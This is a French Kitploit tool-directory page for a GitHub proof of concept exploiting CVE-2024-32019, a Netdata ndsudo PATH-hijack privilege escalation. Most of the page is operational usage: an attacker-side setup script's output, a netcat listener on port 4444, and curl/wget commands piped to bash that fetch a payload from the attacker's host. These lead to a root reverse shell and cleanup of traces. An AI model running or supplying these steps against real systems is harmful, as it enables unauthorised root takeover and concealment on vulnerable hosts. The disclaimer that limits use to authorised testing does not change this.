Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-32019-PoC — Script Bash pour l'élévation de privilèges via "ndsudo" (Exploit local Netdata) | Kitploit
Outils/GitHubGitHub/80ottanta80/cve-2024-32019-poc
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHub80ottanta80/cve-2024-32019-poc

CVE-2024-32019-PoC

Script Bash pour l'élévation de privilèges via "ndsudo" (Exploit local Netdata)

Voir le dépôt
24il y a 11 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-32019-PoC

Script Bash pour l'élévation de privilèges via "ndsudo" (Exploit local Netdata)

Versions de Netdata concernées

  • >= v1.45.0, < v1.45.3

  • >= v1.44.0-60, < v1.45.0-169

Description de la vulnérabilité

L'outil "ndsudo" exécute un ensemble restreint de commandes externes, mais les chemins de recherche sont fournis par les variables d'environnement "PATH".

En changeant la variable d'environnement "PATH" vers un chemin auquel nous avons accès, nous pouvons contrôler où ndsudo cherche les commandes et en créer une contenant du code malveillant.

Preuve de concept

Cet exploit repose sur l'hypothèse que la machine cible et la machine attaquante sont sur le même réseau.

Prérequis

Machine attaquante

  • Écouteur sur le port 4444
  • Serveur web hébergeant le binaire nvme malveillant

Machine cible :

  • Accès shell local
  • Permission d'exécuter ndsudo
  • wget/curl/tout client HTTP pour le téléchargement de la charge utile

Utilisation

Sur la machine attaquante

Nous pouvons générer et déployer automatiquement le fichier nécessaire à l'attaque en exécutant "setup_exploit_server.sh"

$ ./setup_exploit_server.sh YOUR_IP

--------- Exploit Infrastructure Setup by Ottanta ---------

[+] Using server IP: YOUR_IP
[+] Creating exploit directory: /tmp/exploit
[+] Creating ndsudo_pe.sh script file...
[+] Creating nvme.c exploit file...
[+] Compiling nvme binary...
[+] nvme binary compiled successfully
[+] Starting web server on port 80...
[+] Web server started with PID: 9350
[+] nvme binary is available at: http://YOUR_IP/nvme
[!] Now run the privilege escalation exploit in the victim terminal
[!] Make sure to start listener: nc -nlvp 4444

Press Enter to stop the web server and clean up...

Ce script créera tous les fichiers nécessaires à l'attaque configurés avec votre adresse IP.

Après avoir déployé notre serveur web, nous démarrons un écouteur sur un autre shell :

# We start a listener with Netcat, but you can use anything else
$ nc -nlvp 4444
listening on [any] 4444 ...

Sur la machine cible

Selon notre client HTTP, nous pouvons télécharger et exécuter notre exploit.

# If we have curl
$ curl -L http://YOUR_IP/ndsudo_pe.sh | bash -s -- YOUR_IP

# If we have wget
$ wget -qO- http://YOUR_IP/ndsudo_pe.sh | bash -s -- YOUR_IP

Si tout a été fait correctement, nous devrions maintenant avoir un shell root.

alt text

Déroulement de l'exploit

  1. Télécharge le binaire malveillant dans /tmp/exploit/
  2. Modifie PATH pour prioriser le répertoire contrôlé
  3. Exécute ndsudo nvme-list qui lance le binaire malveillant
  4. Établit un reverse shell vers la machine attaquante
  5. Nettoie les traces

Référence

  • https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93
  • https://nvd.nist.gov/vuln/detail/CVE-2024-32019

Avertissement légal

Cette preuve de concept est uniquement destinée à des fins éducatives et de test autorisé.

L'utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale.

Les auteurs ne sont pas responsables de toute utilisation abusive de ces informations.

Télécharger l’outil